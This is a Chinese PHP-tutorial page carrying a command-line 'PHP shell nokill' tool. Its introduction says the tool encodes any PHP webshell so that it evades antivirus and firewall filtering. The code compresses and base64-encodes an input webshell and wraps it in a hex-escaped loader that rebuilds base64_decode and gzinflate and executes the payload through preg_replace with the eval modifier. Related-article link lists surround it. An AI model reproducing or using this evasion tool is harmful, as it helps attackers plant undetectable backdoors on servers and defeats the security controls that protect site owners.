php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
多php服务器实现多session并发运行
Oct 09 PHP
PHP批量生成缩略图的代码
Jul 19 PHP
PHP容易忘记的知识点分享
Apr 30 PHP
解析在apache里面给php写虚拟目录的详细方法
Jun 24 PHP
CodeIgniter启用缓存和清除缓存的方法
Jun 12 PHP
php定时执行任务设置详解
Feb 06 PHP
php实现约瑟夫问题的方法小结
Mar 23 PHP
PHP整合七牛实现上传文件
Jul 03 PHP
解决ThinkPHP下使用上传插件Uploadify浏览器firefox报302错误的方法
Dec 18 PHP
Yii CGridView用法实例详解
Jul 12 PHP
PHP和MYSQL实现分页导航思路详解
Apr 11 PHP
PHP控制循环操作的时间
Apr 01 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
php中关于普通表单多文件上传的处理方法
2011/03/25 PHP
php实现的用户查询类实例
2015/06/18 PHP
PHP实现的AES双向加密解密功能示例【128位】
2018/09/03 PHP
jQuery的一些特性和用法整理小结
2010/01/13 Javascript
jQuery判断数组是否包含了指定的元素
2015/03/10 Javascript
jQuery插件datalist实现很好看的input下拉列表
2015/07/14 Javascript
JavaScript实现获得所有兄弟节点的方法
2015/07/23 Javascript
跟我学习javascript的prototype,getPrototypeOf和__proto__
2015/11/17 Javascript
Easyui Datagrid自定义按钮列(最后面的操作列)
2017/07/13 Javascript
Angularjs的键盘事件的绑定
2017/07/27 Javascript
Web技术实现移动监测的介绍
2017/09/18 Javascript
微信小程序实现换肤功能
2018/03/14 Javascript
详解基于webpack&amp;gettext的前端多语言方案
2019/01/29 Javascript
Vue项目服务器部署之子目录部署方法
2019/05/12 Javascript
JS实现的定时器展示简单秒表、页面弹框及跳转操作完整示例
2020/01/26 Javascript
vue 添加和编辑用同一个表单,el-form表单提交后清空表单数据操作
2020/08/03 Javascript
解决vant的Toast组件时提示not defined的问题
2020/11/11 Javascript
python 专题九 Mysql数据库编程基础知识
2017/03/16 Python
详解python如何在django中为用户模型添加自定义权限
2018/10/15 Python
python实现图像检索的三种(直方图/OpenCV/哈希法)
2019/08/08 Python
Python facenet进行人脸识别测试过程解析
2019/08/16 Python
Python英文文章词频统计(14份剑桥真题词频统计)
2019/10/13 Python
python 实现人和电脑猜拳的示例代码
2020/03/02 Python
Python爬虫爬取杭州24时温度并展示操作示例
2020/03/27 Python
利用css3 translate完美实现表头固定效果
2017/02/28 HTML / CSS
耐克亚太地区:Nike APAC
2019/12/07 全球购物
将一个数的从第5位开始的7个数取出,其余位置0
2016/05/26 面试题
大门门卫岗位职责
2013/11/30 职场文书
给海归自荐信的建议
2013/12/13 职场文书
新浪微博实习心得体会
2014/01/27 职场文书
世界水日宣传活动总结
2015/02/09 职场文书
社团招新宣传语
2015/07/13 职场文书
2015年学校教研室主任工作总结
2015/07/20 职场文书
PHP获取学生成绩的方法
2021/11/17 PHP
Python装饰器的练习题
2021/11/23 Python
Python matplotlib可视化之绘制韦恩图
2022/02/24 Python